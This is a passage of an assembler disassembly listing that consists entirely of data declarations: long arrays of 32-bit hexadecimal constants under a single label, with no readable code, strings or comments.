		dd 4CC20A29h, 0A699D540h, 14B4E8E5h, 0ADFBEF7Eh, 60983D2Fh
		dd 1E096F69h, 65E2785Dh, 9C08CE60h, 0F494760h, 0D34D02E5h
		dd 19BC2142h, 8C9080D8h, 48033A00h, 0C102EEF7h,	0B5560BF4h
		dd 7440ACCBh, 0E3E04573h, 9000C8E6h, 2C4B7BDh, 183C111Bh
		dd 0C98D7043h, 0FC00A1C2h, 0DBC34DDh, 7B47AC76h, 0C6F700D3h
		dd 0FD08D72Ch, 0F00E1C69h, 806A687Fh, 8148F1B2h, 0F46F481Eh
		dd 6B44F380h, 11483059h, 7BD00BC4h, 3F58E046h, 20109878h
		dd 0A50B1B6Bh, 0A96505E5h, 91801710h, 4FA08073h, 6EAE4E5h
		dd 0E22FCABFh, 0FB014112h, 1EBE4908h, 0C0386897h, 64C17062h
		dd 0D55BEA00h, 37DC12E1h, 0DF7C0FB5h, 0A00490A4h, 69257A34h
		dd 70CCA042h, 29ED9B06h, 78E0D80Ch, 869E73h, 7EDE8EF8h
		dd 0A25ACDF5h, 2F530E6h, 24E8F997h, 0CA561601h,	0C02DC87Ch
		dd 0DA35050Ch, 0D0AE8F00h, 0E93A93C6h, 90454B4Bh, 34E30B2Ch
		dd 0B081522Eh, 74244Ch,	0D235B58h, 7C9DE8A8h, 0ABE50600h
		dd 1F579091h, 3FBD0007h, 2FFAEE3Dh, 3B71DB3Ch, 0C4025C79h
		dd 0F192CA05h, 0A3E0EBC2h, 0C60AD89Ch, 6CD5A41h, 0A93E46C0h
		dd 9F9B873Bh, 0F3475DB4h, 8440F24Bh, 17C30892h,	82E1DA52h
		dd 2456F13Ch, 18B3CBE2h, 3D08AB0Dh, 6275D6A3h, 0E600EC01h
		dd 97AAF4h, 0DBE93809h,	75C6D8B3h, 0C466940Fh, 1297D7h
		dd 0BE0FECE3h, 12A9C49h, 31465EBCh, 0A22F630Eh,	1DB87F0Ah
		dd 40E58599h, 97F0C88Eh, 3C028143h, 18D10A79h, 16582C5Ch
		dd 0DE790945h, 100273A2h, 3C52037Ch, 10BC237Fh,	60B41A88h
		dd 0A338AB0Ch, 9471EE25h, 0F7FB0014h, 7DAE01AAh, 0A70BB5D9h
		dd 0A0AFB73Fh, 509F0910h, 14D0772Ch, 0C4AA460h,	3019A726h
		dd 5BC2F918h, 12E81A59h, 14E2A4DFh, 84BE3F00h, 0BF1934C3h
		dd 647A5E02h, 0FAC7B3EEh, 3BB90180h, 935D3213h,	17D1A563h
		dd 803C9104h, 4144E1CBh, 0F295042Bh, 0D8AE8E84h, 0CD2DBEB0h
		dd 47F80F3Fh, 0EB82C00Dh, 0D0F88C1Ah, 843958FDh, 10442F4Eh
		dd 63C0594Eh, 96FD8BA2h, 2383BA13h, 65D1A407h, 0FBC9BDB1h
		dd 0EB88E422h, 0E0D69426h, 549900A6h, 0B04493B2h, 58050128h
		dd 0C67386EEh, 0B60080E3h, 273831BDh, 7F00965Eh, 59A15062h
		dd 3047DA2h, 0DFD8EF95h, 58E91F20h, 0BC783C2Fh,	0B2EE8C31h
		dd 43DA20Bh, 0E5903AE8h, 600464C4h, 0D8B530h, 631E6291h
		dd 0E64CD9A7h, 0F994DD01h, 0F0B52C4h, 4D81E84Ch, 0EC00A05Bh
		dd 860D2F8Bh, 0FA0116A4h, 35F80321h, 3D7C71FEh,	0DD625A01h
		dd 0E1DF8B9Eh, 0A22C7348h, 0AA2F30FFh, 0B906800Eh, 682A6017h
		dd 284DD7Ch, 0B1A70B1Eh, 9056D25Ch, 654AA500h, 48465E42h
		dd 662E8C1Ah, 0AB16616Ch, 5ED0242Eh, 481CAEE6h,	0FBC0B4A3h
		dd 702FF50Ch, 3501076Eh, 0F0B954FCh, 0F1A28DBDh, 8C380095h
		dd 0B843EF9Eh, 2994614h, 0D10C793Eh, 12013128h,	91C501D4h
		dd 513BC408h, 6C6B5C2Eh, 3BFF46DCh, 43FFEh, 0FB6D92A1h
		dd 7D64BD32h, 0F2BB3B4Fh, 6610994Bh, 0E657B09Ch, 2D7200E0h
		dd 48EA8392h, 0DCF24C08h, 0C131E225h, 4B102EC0h, 0A3EC455Dh
		dd 0F80A100h, 1CFEA2F5h, 6481267Bh, 4D8C8018h, 6EBF59AFh
		dd 2A869D00h, 0CBC1DA7Ah, 0F0DF12C5h, 4CA0F39Bh, 8C35E8B8h
		dd 613BC50Eh, 0D87AE09Ah, 0C2876B0h, 32A28B6Dh,	0B80D0929h
		dd 113B45B5h, 325BDD4h,	7CB70CF1h, 41D8719Ah, 5D26D9DBh
		dd 57409839h, 581B722Fh, 0D2BC7CC4h, 7EEA43h, 4E5AF5B4h
		dd 12FCA914h, 0CD8D6809h, 26F071B1h, 0AEC00454h, 79ACFDE5h
		dd 36F70E0Bh, 63D0A2D4h, 82D0A090h, 4CCA1A61h, 0DC0914BFh
		dd 0A0C702DEh, 0B284116Eh, 1300B3A3h, 0C49A2A16h, 0AEC0EC0h
		dd 0F9E0F149h, 0B4BC4A12h, 0FEC1D0F4h, 0C769018Dh, 45CB78BFh
		dd 6AEC535Fh, 20DD4CF8h, 130C5C1Fh, 6107728Ch, 0BE3B0163h
		dd 82EACE56h, 3324244Dh, 0DE003DFCh, 445DBA7Bh,	0ABD248h
		dd 98035F04h, 94E24F0Bh, 0FD5EF700h, 8CC92C3Eh,	0D137182Dh
		dd 9644B19Ch, 0ABDEF18h, 1DA13C69h, 701609A0h, 0B5FA2B1h
		dd 394494B8h, 7EE200C5h, 90351B03h, 95002E2Ch, 0C921B1D7h
		dd 2770C5Bh, 398D1A9h, 0ACC53DDAh, 465C382Ch, 0DC370006h
		dd 0C51E5327h, 9DD15A87h, 9C18407Ch, 0A4A86042h, 0E7033DFAh
		dd 0C9B98AF1h, 4C21E8AEh, 32E04AD4h, 0E04166BCh, 111824A6h
		dd 12277C3Eh, 0F0093998h, 91149729h, 37498106h,	6080F29Ah
		dd 0BC2EF74h, 0D44B396Fh, 0EB542404h, 80094ECh,	0C4CA0370h
		dd 2F5DEAC3h, 0AAF18098h, 8CF6A339h, 0FAD744h, 7AFDAAF8h
		dd 0A33B9434h, 0ECA4CD18h, 5B5D6858h, 0FDD80A5Eh, 0E28303ACh
		dd 4CC2D561h, 8D804856h, 0DC727EDFh, 1312008Ah,	0C7462970h
		dd 2498F8F0h, 30BE40B0h, 14D7FD4h, 7B127135h, 0FCAEB887h
		dd 0DF9089A7h, 0E1669431h, 0D076EF65h, 2C17CB2Fh, 4E80D691h
		dd 10098668h, 0B5DC10B5h, 0FCF1894Dh, 0CD13D3BFh, 0A4809339h
		dd 4B505CD5h, 0C438CBE0h, 0BC30EC01h, 0ACF2B5EEh, 8A5A8100h
		dd 0A5BFE6EBh, 30E8BA56h, 24A1AE8Bh, 0ADF8D48Fh, 654BD97Fh
		dd 2DA31442h, 29851EAh,	960ED3ADh, 0BE401454h, 1FDC334Eh
		dd 80A0DFB6h, 0D9E8A8F8h, 6C12CD57h, 0A0A48178h, 829D007Ah
		dd 987470C0h, 0F358CDBEh, 3B5C0BFDh, 6530ABE0h,	6007C42Ch
		dd 1272B923h, 8BEF99E6h, 0C1D8C8E4h, 70D46FFAh,	99005229h
		dd 0BFC69033h, 4AA70A46h, 3D80169h, 6020015Fh, 34798ECCh
		dd 5910F98Ah, 0EE18FBh,	9FDE0412h, 57E6D454h, 0D013C8BAh
		dd 48B13B0Bh, 8B34203Eh, 0D43D386Ch, 27F88004h,	239DCB74h
		dd 7BC50932h, 0E86F4076h, 86B2E04Eh, 9B66964h, 0B1134530h
		dd 36001044h, 0C89FBDC2h, 161E7B9h, 4983D3AAh, 3A2DE1BAh
		dd 844E52E1h, 30E0D888h, 0EDF321h, 0BEE9020Dh, 75C2BD4h
		dd 63BFD11Ah, 0E4F4E508h, 0A3BF6034h, 8414BE63h, 0C0C50ACAh
		dd 2BE1425Ch, 567F8D03h, 99A5FDCDh, 6C208A78h, 28C31D3Ah
		dd 10E758BCh, 7E277BD0h, 45486266h, 60D8E474h, 309CAEE6h
		dd 0F9BCFB9Fh, 0DC987650h, 0BC40B224h, 80884F3Ch, 6BD85E22h
		dd 507D0050h, 83BAF5BBh, 4030EA8h, 8F6458Dh, 80BF8B00h
		dd 1092398Ah, 0E3D154h,	0BA561202h, 5E6588DCh, 21A2EF18h
		dd 7D66BB70h, 0A8A74C75h, 0DC6C2924h, 0F0A11F1Eh, 0B7ADC883h
		dd 38F1C411h, 23203B3Eh, 39E000DCh, 45F23682h, 3D046149h
		dd 851639A4h, 734FA9EAh, 1EC37CA8h, 809DE94Bh, 0B212B9Ch
		dd 2D19A709h, 0E050CDD0h, 34B6B2A8h, 485D6407h,	0F109E4CDh
		dd 183071F0h, 21A6005Fh
dword_506448	dd 53DC028Eh, 130BF74Dh, 8B3E08CCh, 0B8F09790h,	7D40646h
		dd 0B5E061A7h, 3411E41Dh, 6E6459Ch, 3A74B917h, 0ABAE007Eh
		dd 4A9DBFFAh, 4E7498D7h, 0BE0CC88Bh, 82B576F8h,	0F036A9D8h
		dd 4494A7E0h, 0D1A060D2h, 922003Fh, 0C5CD6963h,	935BE5AEh
		dd 5BC22402h, 94706896h, 724E002Ah, 90B8DB53h, 0C3020620h
		dd 0B9B324ACh, 0C2D4E792h, 0F3189B44h, 1048B89Dh, 2E2F9B5h
		dd 699F0EF8h, 30F061h, 994EFB2h, 8B2C2148h, 0A13BE200h
		dd 1063F672h, 32F82F4Ch, 0F03E0CC1h, 0E8B2D795h, 0EB416100h
		dd 0EE33183Ch, 0AAF6250Ah, 1A4F0868h, 29117100h, 224E8DEDh
		dd 0BE363CF1h, 8DB0079h, 0C78447FDh, 0BCA8E42Fh, 7BEAF8E9h
		dd 0E827ED01h, 0F015E1FDh, 0D7A1FC33h, 5C30CEAh, 8C9BB047h
		dd 68C4B4A8h, 37CDAB02h, 769D09F9h, 4EF741F8h, 0A8286B0Ch
		dd 0ADE60097h, 0D6DF96D1h, 0C9031A27h, 0C09C034Dh, 0BF0EA159h
		dd 2F4EA066h, 302394h, 7593E494h, 4E164861h, 0A8F37864h
		dd 38803F0Bh, 81A3055Dh, 9E000CFDh, 0FCC0A50Fh,	100FA45Dh
		dd 171508C6h, 4B3A14A0h, 30C440D9h, 9CCDA0A1h, 2DF7F8B0h
		dd 8CC84A28h, 24BA00F1h, 1296E074h, 0AC00378Eh,	0C099570Ch
		dd 25B1BFh, 6D486403h, 0AF08BDF0h, 9C4DD128h, 46D6109Ch
		dd 0E0612EF9h, 0C0CDCFE5h, 0A2F0A826h, 67029D24h, 2F93038Bh
		dd 0FC5442E3h, 0EAF48800h, 1312F700h, 0B3562272h, 0C4F0954h
		dd 50B1807Ah, 0A47C0B80h, 0CC5398h, 9652EA2Eh, 6EBB01ADh
		dd 0ED420B7h, 0E0D8D7h,	1939803Ch, 6404CD62h, 885C402h
		dd 0F495CBC6h, 188A4E4h, 3190B63Eh, 2FFAF8C9h, 6D2D8D09h
		dd 9DDC2038h, 1D4A4BEh,	4BB2ECE3h, 79DB4433h, 1E787E74h
		dd 0EF5EF49Ch, 0BD095218h, 0C69D1EAFh, 0DC9452ECh, 6CBE303Eh
		dd 0C59060DBh, 27B71EE3h, 0C6D16A00h, 906C8921h, 6061E92Fh
		dd 30307A54h, 35B73FEBh, 0B8382007h, 0A548084h,	1DA87AE1h
		dd 128D3073h, 3984327h,	0B9E64AC3h, 70EAA312h, 0EAA9CCA4h
		dd 0C5D9036Dh, 423BF26Eh, 0D3FEB5A8h, 0CA604605h, 9022DC58h
		dd 7F0E480h, 2BE4F925h,	692260A3h, 961DA0D9h, 0E5CF5635h
		dd 0CD43C23Dh, 0B5051E3h, 2C583F13h, 969038E9h,	3075B00Bh
		dd 1B430C4h, 0D9C96C9h,	2E9ADCE2h, 0E065E405h, 3297FC0Fh
		dd 68E466h, 62337D2Bh, 0C8141B04h, 7779100h, 547216BBh
		dd 0FDF2013Ch, 0CE451E0h, 0D6B022D0h, 1EA0A0E6h, 21F2E35Ch
		dd 5459910Fh, 0A4A69744h, 0C133E2Fh, 0C2C6F9B8h, 0D6C50D01h
		dd 54B34E4Ah, 674F5D0h,	0B59A35Ah, 1227F19Dh, 45E88B1Ch
		dd 60F9C498h, 5E19E4h, 7CB468D0h, 7108FC1Ah, 0EC48152h
		dd 8252220Bh, 796837D3h, 92A00FCh, 9D1B014Bh, 0C2991205h
		dd 0A001BAACh, 54204D17h, 7A2EC73h, 3F567330h, 93262DA8h
		dd 61ECAC18h, 825CBA2Fh, 967BD099h, 30B95517h, 0E86B6EE3h
		dd 4FD6330Eh, 5C35CAE0h, 0C104762Dh, 73485990h,	0F90B48C3h
		dd 7C3C6264h, 6F20052h,	9420D431h, 0EDC12E1h, 70243E3Dh
		dd 76D058Ch, 0ED0CD5AFh, 0C12B39C4h, 44E50860h,	5D2D582Ch
		dd 0FD08808Eh, 7144F5FAh, 0B3C42DB5h, 3FD5C4A0h, 6F00BEEBh
		dd 0AAA3B44Bh, 17C19980h, 0F2F8F207h, 806A5FACh, 59B4CA01h
		dd 0CE8BEA72h, 0B87ABC4Bh, 12183040h, 1F0EB7C5h, 6B16015Ch
		dd 2A4284B3h, 31C748D0h, 28E0D7h, 8795F6CEh, 7A377C62h
		dd 7F557800h, 0DA13CD1Ah, 96112793h, 0D791C417h, 5025F887h
		dd 0F94D97CAh, 0FD452F0Eh, 9639273Bh, 0CD6E6380h, 0B362623h
		dd 0D94674F0h, 682A037Ah, 5880308Eh, 0E84A5D98h, 0A9198300h
		dd 0A2CE6FE0h, 2AC5247Ah, 7465EDCh, 2304783Ch, 0C890ADB4h
		dd 0B8A2718Ch, 0A69670FCh, 0B080B40Fh, 0B7173009h, 0CFBA8AAh
		dd 4E1805A4h, 1E0B8492h, 0F92EBA87h, 18D8D9FCh,	5E70028h
		dd 0A2157C6Ah, 0D402A031h, 51888E93h, 210FE80h,	27AEDCE0h
		dd 29A70848h, 7844E4Dh,	226249BDh, 0E9F909C0h, 495B77CCh
		dd 9400F016h, 64EC47CBh, 84A8E060h, 5E25899Fh, 407125h
		dd 90D72923h, 585E317Ah, 404C0C07h, 1724213Ch, 2250D90Eh
		dd 1041A554h, 200D28Eh,	48889193h, 21167D45h, 3F8023BCh
		dd 0BC90E8DDh, 0E3008C3Ch, 0B1AA3736h, 17E28331h, 20B3E63Dh
		dd 0D78535F8h, 0AAB5F200h, 0EC7B412Dh, 2BAB00D9h, 0D433583Eh
		dd 0A397943Bh, 3D25B6ECh, 7C801B39h, 0E664C5E7h, 0F10EC481h
		dd 9DB29E8h, 647C4556h,	0C0B7602Fh, 0FB12008Fh,	7F0F27F8h
		dd 38B8E705h, 33CDBC0Ah, 6607CC64h, 83209E36h, 0B7D8E310h
		dd 4DA0548Fh, 0E16A807Ah, 7879271Fh, 0DFE7FCFDh, 0EA5BCB0h
		dd 0DCC8097h, 0C08268AFh, 108F1E58h, 7A016443h,	0CD71A86Fh
		dd 0C46C3B0Bh, 21BFC602h, 20D00FABh, 0C8692F2Eh, 0DD8CF541h
		dd 800246Dh, 69C83BF9h,	0E00FA8B0h, 35144F09h, 0A6751E94h
		dd 54E40A53h, 5E040EC4h, 5F80A7DDh, 0C3083C3Dh,	0E0BB5C72h
		dd 143F2270h, 38114FBDh, 64937C3Eh, 1F05E4Eh, 5EEA61F9h
		dd 0AC40E606h, 6801D524h, 96BFEBCEh, 0D450B263h, 5B18E5A5h
		dd 7B7C00F2h, 961CC2B7h, 0FD753F00h, 362DB943h,	5920C088h
		dd 1AFAD522h, 84206453h, 1967C49Ch, 0CD05A468h,	7CAB4001h
		dd 0BB6B84E2h, 73836E0h, 0FD6CA8DEh, 1045CB51h,	189C01C2h
		dd 0B1B0A4D9h, 5CC2EA00h, 4FC3A975h, 7DBD2DA2h,	9A84740Fh
		dd 564E948h, 6C3463E9h,	7F3B80EBh, 0D25970A4h, 60B22668h
		dd 9C518984h, 0E6F98CA0h, 2202590h, 31713C51h, 351FF718h
		dd 39171508h, 3307ECC8h, 0FF61987Fh, 50D4A9C1h,	0FA9928F0h
		dd 0C3C97503h, 88FCDD7Ch, 5FBAAE39h, 5D48C01Bh,	1FB7CF3Dh
		dd 0C6393Ch, 7A2A9AA3h,	9ACAB1Fh, 6F2D95BDh, 0D628B408h
		dd 585BE707h, 0AE00CF43h, 1F94352Bh, 25EB20A1h,	6F78BC73h
		dd 0A9F06C8h, 0F04FC5B7h, 35C6B90Fh, 99DAB80h, 9114978Ch
		dd 181E87DCh, 0C6894710h, 16D0322Ch, 34E5D748h,	748011EEh
		dd 0C93FF723h, 4B08AD0Bh, 0B72887BEh, 0D0213CE5h, 3C3DA58Bh
		dd 8225BE3Bh, 4456A0A2h, 95271879h, 803391B4h, 8053CA5Eh
		dd 0BB3A007Ah, 771F21DFh, 81003284h, 1AF0850Ch,	14DA701h
		dd 0B4F8D5F7h, 8CA89E0Eh, 20836708h, 4DF253h, 6ECC017Ch
		dd 0E98D88BAh, 334891F5h, 0FA4DA680h, 448C90D5h, 9D035269h
		dd 0DE13044Dh, 73F5C91Fh, 5D211880h, 0DC1DC1F1h, 0D74B9400h
		dd 73BB939h, 60B200FFh,	2147E85Bh, 0C6036E55h, 8D0CA31Ah
		dd 9085C819h, 0A6E307F7h, 33743D67h, 8304D6Fh, 0EF22218Bh
		dd 567600E3h, 0D42D78D9h, 4383E46h, 86DC1DC1h, 0C031A4DCh
		dd 0C9802182h, 915BE97Ah, 0E203AC2Ah, 6B459F12h, 0C08018AFh
		dd 0A0F92825h, 3069AB30h, 0DBDE1Eh, 656E5448h, 0D463D53Ah
		dd 40902050h, 0F180808Ch, 0B4A853D5h, 4D60618Fh, 8758F810h
		dd 2C2BDF06h, 992646h, 0A9CB1A7Fh, 0BD289C74h, 79DFB1Fh
		dd 9F201F18h, 79E16032h, 0A3F9225Ch, 7A41444h, 4069D845h
		dd 95AD836Eh, 93BC4FFDh, 67F8F303h, 0CB651100h,	0CCF17BE1h
		dd 0EA1519AEh, 0BD6008D4h, 0E0330021h, 0D825FDBCh, 1D491EC1h
		dd 1811DD27h, 0F6CA881Bh, 0E1705F1Dh, 56C0921Dh, 5CC81715h
		dd 16CB0097h, 0A72F7605h, 1360A1F9h, 0AA8EB1A1h, 19217CA3h
		dd 18202947h, 489BE004h, 0BA8053EFh, 0A63627F8h, 9419A57Bh
		dd 0B208559Eh, 5C2197h,	9F09F2DBh, 3E01770Bh, 0A3A15BC4h
		dd 7C202F89h, 8071D41Eh
		dd 18C63E8h, 65AB23D7h,	4052DFDAh, 63F1AFB4h, 0A83C3201h
		dd 0BAF5F8E2h, 8CEFAC4Ch, 0A7E03702h, 19AD2CF1h, 3FAA1063h
		dd 658E00E0h, 0F2443D2Bh, 931EE497h, 1299A5FCh,	13CC21A9h
		dd 0A76B00B4h, 2EBD2BE2h, 12244D89h, 70184D7Dh,	24DE1F29h
		dd 658BAA7h, 900F36C2h,	350FF146h, 3C487DE0h, 0A84E5DC4h
		dd 7DCE0AEh, 0B033B938h, 2592A657h, 124EF703h, 810D547Fh
		dd 0B4243CE9h, 239F00C2h, 0BA264AC5h, 28C1E8BEh, 3D9E7284h
		dd 80AD9040h, 0AA8F8868h, 0F35A110Eh, 7E0B547h,	0E3F83559h
		dd 0F1B7E2A0h, 0DA6A019Eh, 11B1BA4Ah, 853880E6h, 97C66CB8h
		dd 7FC4981Bh, 0F03E0698h, 49AE6873h, 3C988252h,	0F12B8086h
		dd 83AB500Bh, 0F89CA058h, 7F4514DBh, 4709901Bh,	38111597h
		dd 890189Ch, 0DD67C927h, 6540C5C4h, 9DBE27A3h, 0B5266207h
		dd 1911E06Dh, 0D4411ECBh, 0F884FF68h, 836E47h, 0C109C226h
		dd 6FAC0076h, 0A45B2A5h, 461FB903h, 0DF84D9EDh,	0ACCE8942h
		dd 30843D84h, 18D0CFh, 0D9888777h, 0FA3568A1h, 0F3D09899h
		dd 1406861Ah, 31C3ADF2h, 1A24640h, 67A5E3FAh, 0F60C7595h
		dd 0F22388h, 4C767AE3h,	45B36E0Fh, 51EFB206h, 29D108D3h
		dd 712C27DCh, 7E4C18F8h, 0E4190189h, 741582AFh,	0F0803465h
		dd 0F124E2F8h, 8F058886h, 0A4087B51h, 0F3A4C731h, 8E85D5FCh
		dd 9B480050h, 0C8EEA34Dh, 0DC210416h, 811CB33Dh, 4B718514h
		dd 843A8428h, 0C905C33h, 82009950h, 44026EE3h, 0C4211473h
		dd 85C529B9h, 0B598008Fh, 65A0D8C2h, 7524677Bh,	465EDC91h
		dd 8D47045Eh, 848828F9h, 77E51B36h, 8EE1C826h, 0F6F18C5Ch
		dd 0D93976h, 3854ABC4h,	247DD666h, 0EFA3EB00h, 0C31DE4CEh
		dd 0A0F26906h, 60EC2404h, 23ACE036h, 601124F1h,	0E03FB558h
		dd 7D7BA880h, 532FAC5Dh, 4BDD510Bh, 6A980E47h, 908184B0h
		dd 3E78BAC4h, 7F372C0h,	45AE3AD7h, 0B46210BCh, 19058AF1h
		dd 60AD30E9h, 0C83AB084h, 0D1003D23h, 0B9051711h, 0A1D61C89h
		dd 9A1E8063h, 2047CE08h, 0E9B31B00h, 0EDF81B2h,	0FFEC16E0h
		dd 477021EEh, 32B180A7h, 8DE5F33Ah, 64C63877h, 53E6A100h
		dd 74A6B037h, 46B38E01h, 899DB78Bh, 41967860h, 5844C06Ah
		dd 88B0AC48h, 0E3F3C0AFh, 1D4667A2h, 2E1CF222h,	0C482E3EBh
		dd 0A071F670h, 0F3D235B4h, 6A470F45h, 16E9FD28h, 6C413012h
		dd 87A189Eh, 8D67CB27h,	6340B6C4h, 808F27A5h, 897BCA04h
		dd 0D88E847Ah, 0A0C0FCC8h, 19762EDh, 282AF133h,	222BF9ECh
		dd 5FB0504Ch, 0E855AA41h, 5C88488Eh, 0C120F9C7h, 263D4F50h
		dd 0BAECA96Fh, 981ED160h, 0CF00D80Bh, 0C0E0D9B0h, 0E830FE5h
		dd 16BEA06h, 850AF824h,	88D88EF0h, 0B7D1C063h, 0F1045818h
		dd 21E33DDBh, 0EBE818C9h, 881E6939h, 0E411C41Dh, 9018568Bh
		dd 8F01BCD9h, 3443BBC5h, 6BC4FFA8h, 0C92E3A37h,	16528854h
		dd 6CCC13h, 84DEA174h, 302CAC3Fh, 92046482h, 0E480F0C5h
		dd 10ADB7C0h, 19EF8493h, 0F0A96374h, 0B7CDA8FDh, 8C9A1C20h
		dd 3727A61Ch, 229FADD1h, 27B15F00h, 7AA6650h, 310E00A0h
		dd 3BE6C26h, 0AD17E42Ah, 9032E095h, 0E1C930F5h,	0DCF14115h
		dd 805F88F4h, 92E031ACh, 44B8699Dh, 4D834117h, 82EA3072h
		dd 6051A3C0h, 0AF9C92Ch, 0DEF745D5h, 0D7E084C8h, 2B3888F5h
		dd 0E458FD28h, 57B48481h, 0CAC0984Ch, 46F190E1h, 6622C4h
		dd 45E032AFh, 0B47E3692h, 0E6B18000h, 0D2655826h, 546C4C9Bh
		dd 30B0F615h, 3801EA23h, 0D4F1A6E0h, 0C5885D18h, 38E00740h
		dd 0B20E05EDh, 8C51B0F2h, 0D60E47Bh, 0C100F7D6h, 0BE3C2579h
		dd 11BBBA1h, 6C5AB496h,	0C6284DF2h, 66791451h, 9909C419h
		dd 0ACD8B900h, 9DD35759h, 0CD2A1487h, 0C805804Eh, 15577EDh
		dd 4921ABCCh, 40436BAh,	0B3333856h, 7CD96500h, 0C4935D84h
		dd 0F84DA003h, 6C62A4D5h, 4D976420h, 55810020h,	4644C33Dh
		dd 9D04FF8Eh, 0A1408736h, 0A3CAE0B2h, 8442420h,	4813B237h
		dd 0B3ABF020h, 0DB16003Eh, 3C6CA538h, 6A02FF97h, 658E6130h
		dd 62434009h, 0B863489Ah, 0E594944Dh, 87894C58h, 219A5804h
		dd 5073CEAh, 67C1EBDCh,	0ABF59E86h, 3570C60h, 0A4D4BD2Ah
		dd 1F881265h, 0C5FE2113h, 0F17914B1h, 9C066818h, 0F41186D4h
		dd 6370019h, 6693BD96h,	6D034F19h, 76E36CE1h, 0C76AB8E4h
		dd 0D73F0A36h, 3BC4DE65h, 4DA20246h, 71B0D5F6h,	995E6060h
		dd 73025B4Dh, 941B2DCEh, 48B489BCh, 49E056F4h, 5D09C023h
		dd 862FBF7h, 0F2C49047h, 97345D60h, 63D004B9h, 58018683h
		dd 0A27BC647h, 28715FBEh, 6CBC0C2Ch, 0D672008Ch, 0D1189EAh
		dd 361CEBA2h, 4F1746C5h, 0F940E800h, 90CF9FAEh,	0B4682460h
		dd 2463EE0h, 0A63827A9h, 10B33155h, 0B827B05Ah,	0F1B72DDh
		dd 92C75B26h, 0E0C70489h, 6F606244h, 4314956Eh,	1F8042F6h
		dd 1F941B7Fh, 8C6CE8A4h, 0DB4BE500h, 2274FE99h,	13DC1E7Eh
		dd 8C90C358h, 0A829E344h, 7B03789Fh, 0BC67CA27h, 6020B462h
		dd 7CD27A2h, 0C2FC5D4Dh, 8706A0DDh, 0B750C3D2h,	8E13F1D4h
		dd 0B90692AAh, 39AC48h,	1452FE5h, 5C19097Dh, 0F5A4C007h
		dd 0E0700367h, 27FFEB40h, 0A8A047B9h, 0AD70D4C6h, 1A642A00h
		dd 9CAC1519h, 9176F0C9h, 1862797Ch, 73A40C69h, 8261B914h
		dd 0DA216D67h, 9C5FCDC0h, 0DD53E2Ah, 48EF761Eh,	21006EF6h
		dd 0ED58700Fh, 0FC7C1499h, 988AF08Fh, 27ACC09Ch, 7D46A635h
		dd 6101B822h, 0CC3027AFh, 0B1F87EBFh, 533213E8h, 72200203h
		dd 546269C2h, 0AF11409Dh, 7E793980h, 2A1467A4h,	0C4BAC5h
		dd 0FE832EA1h, 5A43B2h,	7E4FCAF0h, 0C9F90D4Ah, 1F14C10Eh
		dd 0F54581E3h, 9EF88D07h, 598C0670h, 87468F9h, 0A82180EBh
		dd 0E7D97E94h, 0BCB20077h, 84230599h, 0C182B46h, 0DE29EDECh
		dd 0C8BA1E25h, 6B890027h, 4AD93E7h, 0D52080E9h,	4C15F6B9h
		dd 3339ECB3h, 0C708A386h, 0B1C32116h, 8A65C700h, 0C0F54F18h
		dd 0BE920318h, 4300DA25h, 3DAF26C2h, 8867B0h, 454D574Bh
		dd 6BB72C4Ch, 9FEDB906h, 15102ACh, 8D4A87DBh, 0CB9CE1B6h
		dd 95C72D0h, 37E6D900h,	0B7A3FDA7h, 50910C12h, 19704B82h
		dd 30794460h, 0EC5C84h,	9BEDB89Ch, 0B54F8745h, 0E1E7E8C0h
		dd 1C63A1Bh, 0E3DB283Ch, 0D1DAF844h, 772185CBh,	8F003A13h
		dd 0B47B4908h, 2C830CE4h, 11A8523Fh, 9C284D6Ah,	459C0819h
		dd 0DE88984Eh, 82B6D4C1h, 10F3F03Bh, 0CE835118h, 4FC6D8h
		dd 0F8F9E314h, 19BFB06Ah, 0A0C4E835h, 0C0130008h, 708F7EA0h
		dd 91586421h, 87AD03C4h, 31A3B87Eh, 1D81CEB0h, 0F92187F8h
		dd 3306FB4h, 0E27EDEh, 3973DB43h, 0B7FA40A4h, 1A07C775h
		dd 0B2E77097h, 2027A10Ch, 0C81CC9A5h, 740A96CEh, 1C8AC013h
		dd 7ABEC447h, 0A1B1AA01h, 4F1FA719h, 89B870C0h,	41488887h
		dd 36C500D4h, 7A04DF7Bh, 0F6F54302h, 7F71D35h, 19BD4127h
		dd 65598039h, 0CC9E228Fh, 0B6030C6Ah, 5208BAC4h, 898021DEh
		dd 1A885122h, 0D33C00DEh, 4375FCE3h, 0C06399EEh, 2D14F80h
		dd 7F89C389h, 1C404A46h, 0C800CFEFh, 6FE0C6Bh, 88D05085h
		dd 0DCE43A5Fh, 1DEBAB0Eh, 56D700D6h, 20A242h, 0F9E457Dh
		dd 0C2FAC6E8h, 6C9E062h, 461044E7h, 0F6CC0288h,	31CB4C1Ah
		dd 84BA10C8h, 80C202F5h, 8FAC7865h, 60C624A4h, 330F6BAh
		dd 476F784Ch, 80E6028h,	20432492h, 7D8E716Ah, 4E6100E9h
		dd 0BC5F9DFEh, 16742C1Bh
		dd 29AD9B31h, 92D04AB7h, 112063CFh, 50803804h, 677337ABh
		dd 80FA333h, 63211C3Bh,	540B0030h, 7EB2093Eh, 0BED82300h
		dd 78B5FCAAh, 0A24D0060h, 66389F22h, 0F4002E6Bh, 0F058CEDh
		dd 19244145h, 81AA3B3Ah, 0A38EE897h, 64582029h,	6E079B11h
		dd 0C0FA8E7Dh, 0B64C4201h, 3A3020F8h, 962C21A7h, 55870009h
		dd 0FB78A91Ah, 0E1002340h, 0B453C5ABh, 0AAA34Dh, 2D43571Bh
		dd 94E5D2DFh, 70EB5000h, 35AB075Dh, 0B7D433CFh,	7EA3B950h
		dd 110947D3h, 85E15563h, 40C13B64h, 8986BC2h, 5D852168h
		dd 0D0F9E11Dh, 0F6327D80h, 22D9E84h, 0FD24BAD8h, 888C93C1h
		dd 48C7158h, 0DA26E152h, 20696253h, 41E15A80h, 6E140B00h
		dd 1703F09h, 96D9309Ch,	0B467D350h, 14132958h, 0CC4ECCh
		dd 0EAA86324h, 0CAEC878h, 86C0208Bh, 21C37F08h,	88EA900Eh
		dd 0A9AC3B23h, 0A5FDDBA0h, 180B34ECh, 6094B59Ch, 0F20328A9h
		dd 5927611Ah, 0DC22D920h, 3FC40C8h, 0AD87689Ah,	0D112B7CBh
		dd 28203A23h, 26B92Ah, 2D4521F9h, 50A7DFC2h, 0AECFA136h
		dd 369F0088h, 56D8C7E9h, 8C0C96B0h, 419839C9h, 0EFD70758h
		dd 30911554h, 0FCB77E2Ch, 6477B407h, 4421E1E9h,	24204293h
		dd 7C5C8C33h, 60201262h, 23942462h, 20007477h, 59F6CA0Ch
